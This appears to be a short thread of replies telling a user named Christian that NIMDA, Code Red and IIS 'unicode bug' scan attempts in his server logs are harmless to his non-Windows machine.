Christian,

Yes that is NIMDA but it is nothing to worry about, apart from wasting a bit of bandwidth it is harmless. It only affects M$ IIS web servers.
It is not in your server but is infected M$ servers trying to give it you.
You will probably get another one that is a string of NNNNNNN's. That is Code Red or Code Red II. It is also harmless.

Hej Christian

I think everybody gets those if you're connected to the internet!

It is showing that somebody or something (script kiddies or a vira) is attempting to exploit some security vulnerabilities. Only they are _very_ stupid, since they have not detected that your box is not a windoze box.

Don't worry - it's not harmfull to you except for your lost bandwidth and cpu cycles.

There's nothing you can do about it either
It's just the common general pollution of the internet.

It's not nimda,

it's someone who scans your serv for security flaws..
in this case  he's scanning for the unicode-bug...
but u don;t have to worry,.. you don;t have Nt/iis
